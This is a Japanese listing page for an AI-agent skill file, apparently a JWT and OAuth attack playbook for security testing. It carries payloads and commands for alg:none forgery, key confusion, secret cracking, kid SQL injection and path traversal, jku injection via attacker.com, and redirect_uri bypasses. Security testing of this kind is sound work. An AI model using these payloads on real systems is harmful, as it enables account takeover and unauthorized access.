jwt-oauth-token-attacks
JWT・OAuthトークンに対する攻撃手法のプレイブック。トークンの信頼性検証、署名アルゴリズム、鍵の取り扱い、クレームの悪用、Bearerフロー、OAuthアカウントバインディングの脆弱性を検証する際に使用します。
description の原文を見る
>- JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses.
SKILL.md 本文
SKILL: JWT と OAuth 2.0 トークン攻撃 — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: エキスパートレベルの認証トークン攻撃。JWT 暗号化攻撃 (alg:none、RS256→HS256、シークレットクラック、kid/jku インジェクション)、OAuth フロー攻撃 (CSRF、オープンリダイレクト、トークン盗難、implicit フロー悪用)、PKCE バイパス、および Referer/ログ経由のトークン漏洩をカバーします。現代の Web アプリケーションにおいて重要です。
0. RELATED ROUTING
トークン中心の攻撃とフロー悪用についてはこのファイルを使用します。また、以下も読み込んでください:
oauth oidc misconfigurationリダイレクト URI、state、nonce、PKCE、およびアカウントバインディング検証の場合cors cross origin misconfigurationブラウザ読み取り可能 API またはクロスオリジンでのトークン漏洩の可能性がある場合saml sso assertion attacksターゲットが OAuth/OIDC 以外のエンタープライズ SSO を使用している場合
1. JWT の構造
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
HEADER PAYLOAD SIGNATURE
ターミナルでデコード:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}
一般的なクレーム対象 (エスカレーションのため変更):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "victim@target.com",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}
2. 攻撃 1 — アルゴリズム NONE (alg:none)
アルゴリズムが "none"/"None"/"NONE" の場合、サーバーが署名を検証しない:
# Burp JWT Editor / python-jwt 攻撃:
# ステップ 1: ヘッダーをデコード
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
# ステップ 2: 新しいヘッダーを作成
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# ステップ 3: ペイロードを変更 (例: role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# ステップ 4: 空の署名でトークンを構築:
HEADER.PAYLOAD.
# または:
HEADER.PAYLOAD
ツール (jwt_tool):
python3 jwt_tool.py JWT_TOKEN -X a
# → 自動的に alg:none バリアントを生成
3. 攻撃 2 — RS256 から HS256 へのキー混同
サーバーが RS256 を使用する場合 (非対称 — RSA秘密鍵で署名、公開鍵で検証):
- サーバーの公開鍵は多くの場合発見可能 (JWKS エンドポイント、
/certs、ソースコード) - 攻撃: サーバーに "これは HS256 です" と告げる → サーバーは HS256 HMAC を 公開鍵を秘密として使用して 検証
# ステップ 1: 公開鍵を取得 (PEM 形式)
# 出典: /api/.well-known/jwks.json → PEM に変換
# 出典: /certs エンドポイント
# 出典: HTTPS 証明書から OpenSSL で抽出
# ステップ 2: jwt_tool を使用して、公開鍵を秘密として HS256 で署名:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
# ステップ 3: 手動で:
# ヘッダーを変更: {"alg":"HS256","typ":"JWT"}
# 公開鍵 PEM バイトを使用して HMAC-SHA256 で header.payload 全体に署名
4. 攻撃 3 — JWT シークレット ブルートフォース
弱いシークレットを持つ HMAC ベースの JWT (HS256/HS384/HS512):
# hashcat (高速):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt
手動でテストする一般的な弱いシークレット:
secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY
5. 攻撃 4 — kid (Key ID) インジェクション
kid ヘッダーパラメーターは検証に使用する鍵を指定します。サニタイゼーションなし = インジェクション:
kid SQL インジェクション
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
バックエンドが SQL クエリを実行する場合: SELECT key FROM keys WHERE kid = 'INPUT'
結果: HMAC キー = 'attacker_controlled_key' → この値で署名された任意のペイロードを偽造。
kid パストラバーサル (ファイル読み取り)
{"alg":"HS256","kid":"../../../../dev/null"}
サーバーは /dev/null を鍵として読み込む → 空文字列 → 空 HMAC でトークンに署名。
{"alg":"HS256","kid":"../../../../etc/hostname"}
サーバーはホスト名を鍵として読み込む → ホスト名文字列で署名されたトークンを偽造。
6. 攻撃 5 — jku / x5u ヘッダーインジェクション
jku は JSON Web Key Set URL を指します。ホワイトリスト化されていない場合:
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
セットアップ:
# RSA キーペアを生成:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# JWKS を作成:
python3 -c "
import json, base64, struct
# ... (python-jwcrypto または jwt_tool を使用して JWKS をエクスポート)
"
# 悪意のある JWKS を attacker.com/malicious-jwks.json でホスト
# 攻撃者の秘密鍵で JWT に署名
# サーバーが攻撃者の JWKS をフェッチ → 攻撃者の公開鍵で検証 → 受け入れ
jwt_tool オートメーション:
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json
7. OAuth 2.0 — STATE パラメーター欠落 (CSRF)
State パラメーターは OAuth で CSRF を防止します。欠落している場合:
攻撃:
1. "ログイン (Google)" をクリック → OAuth 開始 → リダイレクト URL をインターセプト:
https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...
2. 認可コードを取得 (交換前に停止)
3. URL を作成: https://target.com/oauth/callback?code=ATTACKER_CODE
4. 被害者がその URL をクリック → セッションが攻撃者の OAuth アイデンティティにバインド
→ アカウント乗っ取り
8. OAuth — REDIRECT_URI バイパス
認可コードは redirect_uri に送信されます。検証が弱い場合:
redirect_uri のオープンリダイレクト
元の URL: redirect_uri=https://target.com/callback
攻撃: redirect_uri=https://target.com/callback/../../../attacker.com
redirect_uri=https://attacker.com.target.com/callback
redirect_uri=https://target.com@attacker.com/callback
部分パスマッチ
ホワイトリスト: https://target.com/callback
攻撃: https://target.com/callback%2f../admin (URL パス混同)
https://target.com/callbackXSS (プレフィックスマッチのみ)
Localhost / 開発リダイレクト
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob (モバイルアプリ)
9. OAuth — IMPLICIT フロー トークン盗難
Implicit フロー: トークンが URL フラグメント #access_token=... で送信される
フラグメント漏洩シナリオ:
- 攻撃者ページへのリダイレクト: フラグメントは
document.referrerまたは ターゲットページの<script>window.location.href</script>経由でアクセス可能 - オープンリダイレクト:
redirect_uri=https://target.com/open-redirect?url=https://attacker.com→ フラグメント内のトークンが攻撃者のページに到達
10. OAuth — スコープ エスカレーション
認可で許可されたより広いスコープをリクエスト:
許可されたスコープ: read:profile
攻撃: トークン交換時に scope=admin または scope=read:admin を追加
→ サーバーはリクエストされたスコープを付与するか、発行されたスコープを使用するか?
11. トークン漏洩ベクトル
Referer ヘッダー
URL のトークン → ページが外部リソースを読み込む → Referer がトークンを漏らす:
https://target.com/dashboard#access_token=TOKEN
→ HTML が読み込み: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com が Referer ログのトークンを確認
サーバーログ
クエリパラメーターで送信されたアクセストークンは以下に格納されます:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB ログ (AWS)
CloudFront ログ
CDN ログ
12. JWT テストチェックリスト
□ ヘッダーとペイロードをデコード (各部分を base64 デコード)
□ アルゴリズムを特定: HS256/RS256/ES256/none
□ ペイロードフィールドを変更 (role、userId、isAdmin) → 署名も変更
□ alg:none をテスト → 署名を完全に削除
□ RS256 の場合: 公開鍵を見つけて → RS256→HS256 混同を試行
□ HS256 の場合: hashcat/rockyou でブルートフォース
□ kid パラメーターを確認 → SQL インジェクション + パストラバーサルを試行
□ jku/x5u ヘッダーを確認 → 攻撃者 JWKS にリダイレクト
□ ログアウト後のトークン再利用をテスト
□ 期限切れトークン受け入れをテスト (exp クレーム)
□ トークンが GET パラメーター (ログ漏洩) vs ヘッダーにあるかを確認
13. OAuth テストチェックリスト
□ 認可リクエストで state パラメーターを確認
□ redirect_uri 操作をテスト (オープンリダイレクト、プレフィックスマッチ、パス混同)
□ トークンを複数回交換できるか?
□ トークン交換時のスコープエスカレーションをテスト
□ Implicit フロー: Referer/履歴のトークンを確認
□ PKCE: code_challenge をバイパスするか、code_verifier を空にできるか?
□ 認可コード再利用をテスト (コードは単回限りでなければならない)
□ アカウントリンク悪用をテスト: OAuth を同じメールの既存アカウントにリンク
□ OAuth プロバイダー混同を確認: Google が予想される場所で Apple ID を使用
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。